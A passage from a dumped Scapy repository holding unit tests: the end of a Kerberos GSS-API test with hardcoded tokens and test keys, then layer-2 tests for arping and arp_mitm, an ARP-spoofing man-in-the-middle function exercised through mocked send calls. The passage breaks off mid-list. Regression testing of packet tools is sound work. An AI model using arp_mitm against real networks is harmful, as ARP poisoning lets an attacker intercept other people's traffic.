\\xf7\\xb4\\xc8\\x9b\\xf9\\xa4\\x1f\\xe9\\x96\\r\\x11*\\xccs\\xf6\\xbde\\'\\xdf\\xe7\\x07\\x00\\xa3\\xd3\\xc2\\xe7+K\\xa6p]\\xfc\\x04\\x0f\\xd5o\\x9d|\\xd6\\x0bX\\x0e\\xbe\\xce\\xc2\\xbf\\xb2@\\xba\\xaca\\x96\\x90\\xdb\\xd90\\x1e\\xd9\\x8c\\xac\\x03|\\xfd\\xff\\x8f\\xf9j\\xc9\\x83X\\x96\\x9f52\\xf9\\xc6\\xad\\xc0v\\xd16\\xa0\\xef\\x96\\xeb\\xdd\\xef)=\\xf8y\\xbbB\\xad\\xfb\\xf7g\\x044\\xf3@\\xadg>\\x03\\x03\\xae\\x18n\\x1aQ\\r\\x7fP\\xdb\\xfe\\xe9\\xeb\\xab2<q]k\\'\\xa6\\x7f\\xfe\\xc6\\r\\xba\\x9ftu\\xe5\\xdb\\xf8\\x8e\\xee\\x1f\\xcc\\x95\\xb7\\xd4g\\xab+N\\xce\\xf8\\x93\\xa9*%\\xc8\\x0b\\x84\\x80\\xac\\x8c\\x12\\xbc\\x10t\\x15#\\xa2s\\x8a=|=,C\\x825\\x11\\x11\\x88\\x96\\x84\\x86\\xca\\xb2\\x93K2\\xca\\xd1\\xb6\\xb4\\xb2\\xcb\\xf3C\\xb2]A\\xadF<\\x05\\x13\\xcf!\\xcf\\x9fw\\xf0r\\xf4\\xa4\\x9d\\x80B\\x94pd\\xe37Z\\x1a\\xe7l5_\\xd4\\x8d_\\xc1c\\xcf\\x7f\\x86Z\\xf9\\x1b\\xcbx\\x8c\\xff\\xe2\\xe9\\xe1\\xa3\\n~?\\x91\\xbe\\x8f\\xb5[\\n\\x8b\\x8c\\x0b`\\x0e\\xf3\\xe0\\xe8\\x8f\\xea\\xadO\\xbfO\\xff\\xe7l\\x93\\x02\\xee*\\xcf\\xa3\\xb6L\\xa2\\x8c\\xd0\\x06\\xfdJ\\xf9\\xc2}.\\xb4^G\\xe5\\x82\\xb8~c*\\xa24u\\xca\\xeb\\x0e>\\x9dws9\\xf5\\xcb\\x94\\xab\\xc1\\x9e\\xbd\\x08\\x0f\\xfcx\\x18\\x1b\\xf8\\x1f\\xf2\\'\\x18-\\xe4\"\\x93vuTf3\\xbdj\\xb6\\x88%\\x8a\\x94\\xd12\\xfbY\\x0f\\x81R\\xd3\\xf1\\x9b\\xd5Z\\x1f3o\\xb7\\xc3\\x82\\x14\\t\\x87\\xac#\\x89\\x13M\\x803\\x88/\\x92==S$\\xa3\\xe9\\xf5C{\\xd7\\x0f\\t^k\\xb0\\x0e\\xe6\\x8d\\x8f!\\x91+\\x19\\xb2y$\\xc6\\x1bN;\\xfehA\\x1f\\x9f\"\\r\\xe8\\xda\\xce\\x00\\xe7g\\xb6b17\\x06s\\rM\\xc8S\\x9b0\\x9f\\xc7^l\\xa4\\xca\\xe4p\\xcd\\xf1,\\xc3\\xcf\\xb1\\x91Hn>^\\xb8\\xc8\\x07#\\xb2\\xb0G;\\x07\\xe4\\xeaM8T\\x87\\xdd0=\\xf2\\xdb\\x8d1\\xf8\\xc9\\rS\\xc4\\xad\\xcf9\\xadx\\xcfl\\x85\\xfb\\xb8{LN\\xe51\\xa4,!3\\xdf+\\x03b\\x13#t\\xdf\\x99T \\xe4\\xb2\\xa6\\xd1\\xe1\\x9dxy\\xd5\\x18e-Q\\x01\\xa3\\x16\\x96+\\'\\xb3\\x88L\\xb6}\\x07W/\\x96\\xb9f\\x8c\\xa4,\\xcas\\x11\\xa7\\x15*\\xc7\\xc6\\xd4\\x92\\x00\\x91\\x92\\xfaJpy\\x89\\xe4;*\\x10\\xf1\\x9eS^|\\xf8\\xaf\\xda\\xf6<\\xe9\\xa2\\xa8\\\\\\xe1\\xbd\\x17\\xd8\\x1c\\xfev\\xd2\\xceWY\\xa7\\xfd\\xbe\\xffo\\xb2y\\xb8b\\x0b\\xc2\\xc5\\x18;$\\xbe\\x83\\x1c~\\xe1W\\x11O\\'\\x00\\xda!\\x0b6\\xed\\xb7\\xbd\\xa7\\xd9\\x1a2\\xf7\\x94\\x0b\\xefC\\x1cvW\\x1c\\xd4D\\x99\\xf7y\\xccN\\xbe\\x82\\x9f\\xb3N\\xea\\xa1\\xe4B$\\rYb\\xbd\\xbc\\xbc\\x16\\xc9b\\x97KTn\\x9c\\xee8\\r\\xdaI\\xf6Q\\xac\\xc5\\xc5\\x8a\\xca\\xe4\\xad\\x06\\xd5~K\\x91\\xd8\\xc5Use\\xe8\\xdd\\xda~\\xe9U\\tc\\xd7\\rOV\\xb4O\\xc5\\xa2n)\\xb3l\\xb2\\x1d\\x11\"\\x18%\\xb5\\xa2!|\\xb1\\xf1EM4\\xd9J\\x85\\\\\\xb8`\\xf2\\xfeCh\\x1e=0.~\\x12Bs\\xdd\\x18\\xb0O\\xdd\\xf6`\\xb8\\x85\\x8e\\x1ex\\xd0\"\\xcc\\x03\\xf4g\\xf3\\xcf\\x1an]\\xf5;\\xb81yEB\\xb1\\xd0\\x8e8\\xd3\\xbf\\xb0\\xbf.[\\xa6\\xf7Z\\x0fw\\xd5k\\xf2\\x92K\\x14O\\xff<\\x87\\xeczW\\xbf\\xf3E\\xee\\x8aD\\x96gm8\\xc9E<8\\xe6E!\\xdb-\\xe6\\xd6E*\\xa8\\xf3\\xda\\x16u\\x13N\\x8d\\x90\\xcb\\xb0\\xd2t\\xcea\\x89V?\\xd9\\xa5nV\\xa8\\x00f\\x1ex{\\x089Pb05\\xdd\\xee\\xb2\\xfb\\x84\\xf6\\xfb%\\x07\\xf2\\xc1W\\xe7N\\x81\\xa8\\x19p\\xe1\\x14u\\xce\\x92n9:U\\xb0kw\\xc4D\\xdb\\xd26\\x88\\xe8\\xa7|\\x7f03xt\\xfe\\xf7\\x87\\xa1\\x87\\xfc\\xaf\\xd7:ZH7\\xc8\\xe3\\xe6\\x07\\x120\\x85\\x97\\xffr\\xea.\\xda\\xe6\\x9c\\x94\\x02\\xadz\\xe8\\x1a\\xbb>\\x91\\x00\\xf0\\xc8{\\x99\\xb2VBF\\xbdV\\xaf\\x8em\\x0e\\xcf)(\\xe5\\x15\\x12\\x18\\xf7\\xe6\\'\\xc5e\\xe1U@foO|\\x0e\\x93|-\\x0e\\x84x/\\xcb\\x1bS^YolN\\n\\xed|\\x1d5\\x0e\\x16\\x9d\\x04_.\\xaa\\xa4\\xbb/\\x94\\xcd\\x14\\x95v\\xf85\\xe5\\xee\\xcbD\\x18g}\\x04D\\xe5\\x1f\\xaf\\xcb\\xed*\\xfa\\xc5\\x0b\\x1d2\\x0b\\xc2#\\xd2b6\\x01\\xae\\xe6\\xdfj6:$)K\\xfb;\\x00\\xf2f\\x8d\\xfc@N\\x9f\\xa1\\x7f\\xe96\\xe6b\\x07V\\xa6\\x91\\x8f}\\xe2\\xde4?8\\x0f\\xab\\x83\\xfd\\xe9\\x11\\x12K\\xe5\\x08\\xa4\\x82\\x01\\\\0\\x82\\x01X\\xa0\\x03\\x02\\x01\\x12\\xa2\\x82\\x01O\\x04\\x82\\x01K\\\\>\\t\\xe4\\x1d8,a(\\x7f\\x1e\\xd2\\x8dHH\\x9c\\xa3\\x03?&\\xb9\\xf4\\xba\\xef\\xcf\\xcf\\xb6(8\\x91\\x0f\\xa3lq\\xc6 f&Ou\\xd8Bk\\xe84s\\xf1\\xec\\xf6\\x97wY\\xc6Un;\\xf5\\xdeh\\xb9J\\xd6\\xaf\\xf4r\\x00\\x80\\x17\\x8d\\xc4p\\x81\\xac\\x89\\xf1\\xf6\\x98\\xef\\x1f\\xb3\\xe5\\x91}\\xf5m\\x1a\\xbd\\x08\\x1d\\x0217W0\\x81\\xdd\\x10O\\xda\\x97\\xf1qo\\xa9\\xdcT\\xe4_\\xfaxt\\xdf\\xcb*\\x95L\\xd3\\x85\\xdf\\xf04\\x14\\xb3\\x14\\x9c1cU\\xe5\\x18H\\xf3^\\x86\\xd4\\xd2\\xe39-Y\\x0b\\x80\\x92\\xf0\\x08\\x03\\xc5\\x99{;z\\xc0\\xdd\\x08\\x1d\\x94\\xd4\\xa4\\xda,9\\x00\\xa7\\x87I\\x01\\x9b\\xb7\\xf0\\x01ITC\\xcdJr\\xd7+\\x95\\xadI\\xf0\\x14\\xfc7t\\xa2\\x9a\\xa7\\xe0mA\\x8c\\'\\xf0\\x9c\\xbc\\x97\\xaa\\xd6\\xec\\x82.\\xfa^\\x08\\xa7\\x1b\\xef\\xa8\\x979\\x93\\x8f\\x80.i\\x05\\xf3jj\\xef2\\xf4B`Q\\xed_\\xde\\x00\\x14\\xee\\xae \\xd1\\xbc6\\x8b;\\xf19\\x1fikM\\xadf\\x15\\xc9\\xb7G\\xf6\\xa9,\\x9cJ\\xe9e\\xa8\\xcc\\x8e.b\\x86\\x88\\xb3!p\\x04\\xe6\\x03/\\x17\\xae\\x03\\x13:\\xe4\\xedG%\\x98$\\x9d\\x13<\\x92\\x16\\x80:\\x94\\x8f\\x87jb\\xa6.\\xc2\\n\\xbe\\xdb\\x9d3\\x8d\\xf5\\xb2\\\\\\x8b\\xd6\\xcb\\xc0\\xa6%\\xc7\\xb1\\xe3m\\x86\\x1fsXj\\x19\\xad\\xe7\\x06\\xfc\\x0b\\xf1\\xcf'\n\n= GSS_Accept_sec_context (KRB_AP_REQ->KRB_AP_REP) - DCE_STYLE\n\nwith KrbRandomPatcher():\n    srvcontext, tok, negState = server.GSS_Accept_sec_context(None, tok)\n\nassert negState == 1\nassert isinstance(tok, KRB_AP_REP)\nap_rep = KRB_AP_REP(bytes(tok))\n\napreppart = ap_rep.encPart.decrypt(client.KEY)\nassert apreppart.ctime == \"20240305165255Z\"\nassert apreppart.subkey.keyvalue == b\"0000000000000000\"\nassert apreppart.subkey.keytype == 17\n\n# Hardcode (yes this will probably require updating this test)\nbytes(tok)\nassert bytes(tok) == b'on0l\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x0f\\xa2`0^\\xa0\\x03\\x02\\x01\\x12\\xa2W\\x04UaS\\xeck\\xcc\\xad~\\xfa^\\x8d\\xca\\xbb\\xc5\\xd2/\\xfd\\xd3\\xc3\\xd9\\xadN`\\xd2;\\xd7{\\xb7\\xf4p.\\xa9\\x9a\\xb1}D\\xc6|_t\\n\\r\"M\\xcd\\xe2\\t\\xf0Ri\\xc7\\xcf\\xb5\\xefr9\\xf0`iS7N\\x06qKP\\x06\\xde\\xc4\\x18\\xd5_\\xcb\\x0ct\\x03k\\xbc\\xb9\\x1adT\\x03\\xc1\\x8bM'\n\n= GSS_Init_sec_context (SPNEGO_negToken: KRB_AP_REP->KRB_AP_REP) - DCE_STYLE\n\nwith KrbRandomPatcher():\n    clicontext, tok, negState = client.GSS_Init_sec_context(clicontext, tok)\n\nassert negState == 0\nassert isinstance(tok, KRB_AP_REP)\nap_rep = KRB_AP_REP(bytes(tok))\n\napreppart = ap_rep.encPart.decrypt(client.KEY)\nassert apreppart.ctime == \"20240305165255Z\"\n\n# Hardcode (yes this will probably require updating this test)\nbytes(tok)\nassert bytes(tok) == b'oQ0O\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x0f\\xa2C0A\\xa0\\x03\\x02\\x01\\x12\\xa2:\\x048aS\\xeck\\xcc\\xad~\\xfa^\\x8d\\xca\\xbb\\xc5\\xd2/\\xfd.e\\xec\\xef\\xce\\x91\\x1d\\x99\\xd8\\xcd2\\x01\\x0fA\\xe4\\xde\\x12\\xf4\\xbc>\\xe1\\x98T\\xc4\\x82\\xb5w\\x1arZb\\xdb\\x9b-+\\xf3\\xfa\\x0b\\xdeD'\n\n= GSS_Accept_sec_context (KRB_AP_REP->OK) - DCE_STYLE\n\nwith KrbRandomPatcher():\n    srvcontext, tok, negState = server.GSS_Accept_sec_context(srvcontext, tok)\n\nassert negState == 0\nassert tok is None\n\n\n= GSS_Wrap/GSS_Unwrap: client sends wrapped payload without confidentiality\n\ndata = b\"testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE\"\n\nsig = client.GSS_Wrap(\n    clicontext,\n    data,\n    conf_req_flag=False,\n)\nassert sig.TOK_ID == b\"\\x05\\x04\"\nassert sig.root.Flags == 4\nassert sig.root.EC == 12\nassert sig.root.RRC == 12\nassert bytes(sig) == b'\\x05\\x04\\x04\\xff\\x00\\x0c\\x00\\x0c\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x8f\\x0c\\xab\\x90h\\xc8\\xdf1\\x078\\x03\\x0ctestAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE'\n\nddata = server.GSS_Unwrap(\n    srvcontext,\n    sig,\n)\nassert ddata == data\n\n= GSS_Wrap/GSS_Unwrap: server answers back without confidentiality\n\ndata = b\"testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE\"\n\nsig = server.GSS_Wrap(\n    srvcontext,\n    data,\n    conf_req_flag=False,\n)\nassert sig.TOK_ID == b\"\\x05\\x04\"\nassert sig.root.Flags == 5\nassert sig.root.EC == 12\nassert sig.root.RRC == 12\nbytes(sig)\nassert bytes(sig) == b\"\\x05\\x04\\x05\\xff\\x00\\x0c\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00~\\xd8\\x08\\x89K'\\xa0\\x01\\xda\\x7f\\xff\\xd3testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE\"\n\nddata = client.GSS_Unwrap(\n    clicontext,\n    sig,\n)\nassert ddata == data\n\n= GSS_WrapEx/GSS_UnwrapEx: client sends wrapped payload with confidentiality\n\nfrom unittest import mock\nfrom scapy.libs.rfc3961 import Key, EncryptionType\n\n# Data\n\ndcerpc_hdr = bytes.fromhex(\"0500000310000000fc004c00030000008c00000001000c00\")\ndcerpc_data = bytes.fromhex(\"000000001bc104a40f046e43bd2a4b2722092807010000000100000000000000e40400000904000000000000010000000600000001000000000002000000000001000000000000000000020000000000120000000000000000000000000000001200000000000000440043003d0063006f006e0074006f0073006f002c00440043003d0063006f006d00000000000000\")\ndcerpc_sectrailer = bytes.fromhex(\"0906040000000000\")\nConfounder = bytes.fromhex(\"aeb63f1db8e2cb61548867a0e4074e85\")\nk = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(\"613f2dfabd35d17d86b00cf1001ce9458bf379c1d3921bbfdcd2de8782bec540\"))\nSeqNum = 0x60298ed4\n\n# Prepare context\n\nclicontext = KerberosSSP.CONTEXT(IsAcceptor=False)\nsrvcontext = KerberosSSP.CONTEXT(IsAcceptor=True)\n\nclicontext.KrbSessionKey = srvcontext.KrbSessionKey = k\nclicontext.SendSeqNum = srvcontext.RecvSeqNum = SeqNum\nclicontext.flags = srvcontext.flags = (\n    GSS_C_FLAGS.GSS_C_DCE_STYLE |\n    GSS_C_FLAGS.GSS_C_REPLAY_FLAG |\n    GSS_C_FLAGS.GSS_C_SEQUENCE_FLAG |\n    GSS_C_FLAGS.GSS_C_MUTUAL_FLAG |\n    GSS_C_FLAGS.GSS_C_INTEG_FLAG |\n    GSS_C_FLAGS.GSS_C_CONF_FLAG\n)\n\nclient = server = KerberosSSP()\n\n# Test\n\nwith mock.patch('scapy.layers.kerberos.os.urandom', side_effect=lambda x: Confounder):\n    _msgs, sig = client.GSS_WrapEx(\n        clicontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=dcerpc_hdr),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=dcerpc_data),\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=dcerpc_sectrailer),\n        ],\n    )\n\nassert _msgs[0].data == dcerpc_hdr\nassert _msgs[1].data == b'|\\xdf\\xf8\\xe5lS#\\xe9\\x9c\\x15\\xb4\\xad\\x06\\xa8\\xb9\\x01\\xd2\\x13\\xe6qLL\\xd1\\x82:v\\xf2\\xb1B\\xc9u \\xc5\\xc88\\xce\\x91\\xed*\\x9c+v,W\\x97\\xde\\xaan\\xb8\\x80\\x9bd\\xedW\\x1aot\\xa1\\xb8\\xbdp\\xc0\\xee\\xe5\\xb0\\xa4\\xce\\x15{OA\\x08\\xee#;w\\tV\\x0e3\\x9el\\x00\\x8f\\xbaM\\x07[\\x1f,&\\x99\\x92\\x91tvh\\xbf\\xcf\\xb6\\xd1\\xbaB\\xe3\\xc9\\x943\\xed\\xf04\\x92!\\xbd`\\x00\\x05;\\xfce18H\\xcb\\xd8\\x1eTT\\x18\\xbe\\xb4\\xbc\\x08X\\x1b$\\x96\\x04\\xc9\\xc6\\xf1$\\xfc,\\xc0'\nassert _msgs[2].data == dcerpc_sectrailer\n\nassert sig.TOK_ID == b\"\\x05\\x04\"\nassert sig.root.Flags == 6\nassert sig.root.Filler == 0xFF\nassert sig.root.EC == 16\nassert sig.root.RRC == 28\nassert sig.root.SND_SEQ == SeqNum\nassert bytes(sig) == b'\\x05\\x04\\x06\\xff\\x00\\x10\\x00\\x1c\\x00\\x00\\x00\\x00`)\\x8e\\xd4\\xf8\\xb9\\x99JO\\xdeA\\x9c+t\\xbb\\xe9>\\xf0G\\xd5\\x9d\\x9b\\xca:\\x10\\xee\\x1f\\xe93\\xc1*/`H\\x89\\xf4\\xab\\xd7E!\\xd5<*ou\\x94\\xa3\\t\\xf1\\x7f\\xaa\\xe9\\x95}\\xaa\\xb7\\x9f\\xd4F\\xfe\\x9bt\\xa1\\x00'\n\ndecrypted = server.GSS_UnwrapEx(\n    srvcontext,\n    _msgs,\n    sig,\n)[1].data\nassert decrypted == dcerpc_data\n\n= GSS_WrapEx/GSS_UnwrapEx: server answers back confidentiality\n\nwith KrbRandomPatcher():\n    _msgs, sig = server.GSS_WrapEx(\n        srvcontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=dcerpc_hdr),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=dcerpc_data),\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=dcerpc_sectrailer),\n        ],\n    )\n\nassert _msgs[0].data == dcerpc_hdr\nassert _msgs[1].data == b\"\\x9av\\xf9 :e\\x0f\\xd8!\\x1c\\xc7\\x076'a.NN\\xcf\\x0c\\xec\\x8c\\x83\\xb4\\x9c'<%i\\x17\\xbe\\xcc\\x01 \\x1d\\x031\\\\Y\\x92H\\xe4\\xd50W\\x8e\\xe0\\xe85\\xd8\\xf5c[\\x97Bl\\x16\\x12P\\x03l\\xdb\\x99$\\xef\\x9a\\x06\\x85\\x18\\xcf\\xc5\\x91~\\x88\\xca\\xb2D\\xf8\\xe5(+\\xb30\\r\\xbf\\xe8\\xc7\\x11\\x18\\xfa,&(\\xc3l)c\\x08%\\xaf\\x80\\xe5u\\xadw\\x06\\x15\\xe8\\xed\\xfa\\xb3\\xe0\\x1d\\xb2\\xdan\\xcfb<\\x01\\x9d\\xa6\\xb4=W:Z\\xb6\\xbf\\xe9\\x1a\\xc8g\\x9d\\x01\\x87<B\\xb8u\\x90i\\xd9\\xb4\"\nassert _msgs[2].data == dcerpc_sectrailer\n\nassert sig.TOK_ID == b\"\\x05\\x04\"\nassert sig.root.Flags == 7\nassert sig.root.Filler == 0xFF\nassert sig.root.EC == 16\nassert sig.root.RRC == 28\nassert sig.root.SND_SEQ == 0\nassert bytes(sig) == b'\\x05\\x04\\x07\\xff\\x00\\x10\\x00\\x1c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<g\\x9d\\xba\\x82hSzt65\\xdejXN\\xa8h\\xf3\\xa1\\x94\\xc7\\xd1\\xa2\\xf7\"\\xde\\x81D9\\xf4!\\xeb\\x8cT\\x98C\\x8d&WL\\xac\\x98\\xca\\xab\\xb0#\\x8bH\\x0ew\\xdb\\xa9\\xf4Q\\x00\\xa6V\\n\\xf8\\xaf'\n\ndecrypted = client.GSS_UnwrapEx(\n    clicontext,\n    _msgs,\n    sig,\n)[1].data\nassert decrypted == dcerpc_data\n"
  },
  {
    "path": "test/scapy/layers/l2.uts",
    "content": "% Layer 2 regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ Layer 2 Unit Tests\n\n= Arping\n~ netaccess needs_root tcpdump\n* This test assumes the local network is a /24. This is bad.\ndef _test():\n    ip_address = conf.route.route(\"0.0.0.0\")[2]\n    ip_address\n    arping(ip_address+\"/24\")\n\nretry_test(_test)\n\n= Arping - interface that has no ip\n~ mock\n\nfrom unittest import mock\n\n_old_routes = conf.route.routes\n_old_ifaces = conf.ifaces.data.copy()\n\ntry:\n    conf.route.routes = [\n        (180996905, 4294967295, '0.0.0.0', 'eth0', '10.201.203.41', 0),\n        (180997119, 4294967295, '0.0.0.0', 'eth0', '10.201.203.41', 0),\n        (0, 0, '10.201.203.254', 'eth0', '0.0.0.0', 0),\n        (180996864, 4294967040, '0.0.0.0', 'eth0', '10.201.203.41', 0),\n        (3758096384, 4026531840, '0.0.0.0', 'eth0', '10.201.203.41', 250)\n    ]\n    conf.ifaces._add_fake_iface(\"toto\", mac=\"11:22:33:aa:bb:cc\", ips=[])\n\n    def dummy_srp(pkts, **kwargs):\n        assert pkts.dst == \"ff:ff:ff:ff:ff:ff\"\n        assert pkts.src == \"11:22:33:aa:bb:cc\"\n        assert pkts[ARP].psrc == \"0.0.0.0\"\n        assert pkts[ARP].pdst == Net(\"192.168.0.1/24\")\n        assert pkts[ARP].hwsrc == \"11:22:33:aa:bb:cc\"\n        # No results, we don't care.\n        return SndRcvList([]), PacketList(pkts)\n\n    with mock.patch(\"scapy.layers.l2.srp\", side_effect=dummy_srp):\n        arping(\"192.168.0.1/24\", iface=\"toto\")\n\nfinally:\n    conf.route.routes = _old_routes\n    conf.ifaces.data = _old_ifaces\n\n= Test ARPingResult output\n~ manufdb\n\nar = ARPingResult([(None, Ether(src='70:ee:50:50:ee:70')/ARP(psrc='192.168.0.1'))])\nwith ContextManagerCaptureOutput() as cmco:\n    ar.show()\n    result_ar = cmco.get_output()\n\nassert \"70:ee:50:50:ee:70  Netatmo  192.168.0.1\" in result_ar\n\n= arp_mitm - IP to IP\n~ arp_mitm\n\nfrom scapy.plist import QueryAnswer\n\nsrp_step = 0\n\ndef srp_spoof(x, *args, **kwargs):\n    global srp_step\n    assert x.dst == \"ff:ff:ff:ff:ff:ff\"\n    if srp_step == 0:\n        assert x.pdst == \"192.168.0.1\"\n        ans = Ether(src=\"cc:cc:cc:cc:cc:cc\", dst=x.src)/ARP(hwsrc=\"cc:cc:cc:cc:cc:cc\", hwdst=x.hwsrc, psrc=x.pdst, pdst=x.psrc)\n    elif srp_step == 1:\n        assert x.pdst == \"192.168.0.2\"\n        ans = Ether(src=\"bb:bb:bb:bb:bb:bb\", dst=x.src)/ARP(hwsrc=\"bb:bb:bb:bb:bb:bb\", hwdst=x.hwsrc, psrc=x.pdst, pdst=x.psrc)\n    else:\n        assert False\n    srp_step += 1\n    return SndRcvList([QueryAnswer(x, ans)]), PacketList()\n\nsrploop_step = 0\n\ndef srploop_spoof(x, *args, **kwargs):\n    assert len(x) == 2\n    assert x[0].dst == \"cc:cc:cc:cc:cc:cc\"\n    assert x[0].src == x[0].hwsrc == \"aa:aa:aa:aa:aa:aa\"\n    assert x[0].hwdst == \"00:00:00:00:00:00\"\n    assert x[0].psrc == \"192.168.0.2\"\n    assert x[0].pdst == \"192.168.0.1\"\n    assert x[1].dst == \"bb:bb:bb:bb:bb:bb\"\n    assert x[1].src == x[1].hwsrc == \"aa:aa:aa:aa:aa:aa\"\n    assert x[1].hwdst == \"00:00:00:00:00:00\"\n    assert x[1].psrc == \"192.168.0.1\"\n    assert x[1].pdst == \"192.168.0.2\"\n\ndef sendp_spoof(x, *args, **kwargs):\n    assert len(x) == 2\n    assert x[0].dst == \"ff:ff:ff:ff:ff:ff\"\n    assert x[0].src == x[0].hwsrc == \"bb:bb:bb:bb:bb:bb\"\n    assert x[0].hwdst == \"00:00:00:00:00:00\"\n    assert x[0].psrc == \"192.168.0.2\"\n    assert x[0].pdst == \"192.168.0.1\"\n    assert x[1].dst == \"ff:ff:ff:ff:ff:ff\"\n    assert x[1].src == x[1].hwsrc == \"cc:cc:cc:cc:cc:cc\"\n    assert x[1].hwdst == \"00:00:00:00:00:00\"\n    assert x[1].psrc == \"192.168.0.1\"\n    assert x[1].pdst == \"192.168.0.2\"\n\nfrom unittest import mock\nwith mock.patch('scapy.layers.l2.srp', side_effect=srp_spoof), \\\n     mock.patch('scapy.layers.l2.srploop', side_effect=srploop_spoof), \\\n     mock.patch('scapy.layers.l2.sendp', side_effect=sendp_spoof):\n    arp_mitm(\n        \"192.168.0.1\",\n        \"192.168.0.2\",\n        target_mac='aa:aa:aa:aa:aa:aa',\n    )\n\n= arp_mitm - IP to range\n~ arp_mitm\n\nfrom scapy.plist import QueryAnswer\n\ndef srp_spoof(x, *args, **kwargs):\n    assert x.dst == \"ff:ff:ff:ff:ff:ff\"\n    assert x.pdst == Net(\"192.168.0.2/24\")\n    ans = Ether(src=\"cc:cc:cc:cc:cc:cc\", dst=x.src)/ARP(hwsrc=\"cc:cc:cc:cc:cc:cc\", hwdst=x.hwsrc, psrc=x.pdst, pdst=x.psrc)\n    return SndRcvList([\n        QueryAnswer(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ARP(pdst=\"192.168.0.2\"), Ether(src=\"cc:cc:cc:cc:cc:cc\", dst=x.src)/ARP(hwsrc=\"cc:cc:cc:cc:cc:cc\", psrc=\"192.168.0.2\", pdst=\"192.168.0.1\")),\n        QueryAnswer(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ARP(pdst=\"192.168.0.9\"), Ether(src=\"11:11:11:11:11:11\", dst=x.src)/ARP(hwsrc=\"11:11:11:11:11:11\", psrc=\"192.168.0.9\", pdst=\"192.168.0.1\")),\n        QueryAnswer(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ARP(pdst=\"192.168.0.17\"), Ether(src=\"22:22:22:22:22:22\", dst=x.src)/ARP(hwsrc=\"22:22:22:22:22:22\", psrc=\"192.168.0.17\", pdst=\"192.168.0.1\")),\n    ]), PacketList()\n\nsrploop_step = 0\n\ndef srploop_spoof(x, *args, **kwargs):\n    assert len(x) == 12\n    assert [bytes(y) for y in x] == [\n        b'\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xc0\\xa8\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00\\x01',\n        b'\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xc0\\xa8\\x00\\t\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00\\x01',\n        b'\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xc0\\xa8\\x00\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00\\x01',\n        b'\\xee\\xee\\xee\\xee\\xee\\xee\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xc0\\xa8\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00\\x01',\n        b'\\xee\\xee\\xee\\xee\\xee\\xee\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xc0\\xa8\\x00\\t\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00\\x01',\n        b'\\xee\\xee\\xee\\xee\\xee\\xee\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xc0\\xa8\\x00\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00\\x01',\n        b'\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xc0\\xa8\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00\\x02',\n        b'\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xc0\\xa8\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00\\x02',\n        